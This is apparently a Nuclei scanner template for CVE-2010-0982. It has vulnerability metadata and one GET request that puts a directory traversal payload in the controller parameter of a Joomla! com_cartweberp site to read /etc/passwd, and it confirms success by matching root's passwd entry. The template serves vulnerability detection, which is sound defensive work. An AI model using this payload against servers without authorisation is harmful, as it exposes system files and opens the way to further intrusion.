id: CVE-2010-0982

info:
  name: Joomla! Component com_cartweberp - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the CARTwebERP (com_cartweberp) component 1.56.75 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Allows an attacker to read arbitrary files on the server, leading to potential information disclosure and further exploitation.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/10942
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0982
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2010-0982
    cwe-id: CWE-22
    epss-score: 0.03608
    epss-percentile: 0.87941
    cpe: cpe:2.3:a:joomlamo:com_cartweberp:1.56.75:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlamo
    product: com_cartweberp
  tags: cve2010,cve,joomla,lfi,edb,joomlamo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_cartweberp&controller=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220343ac3f3adf2f56c66b9502e1619caea6efac4bbaa9e314fcb5e157949a4aa0c0221009b79c140424ceda3cf861a25541c60ea1490079bf200966c3d229463bbe4d777:922c64590222798bb761d5b6d8e72950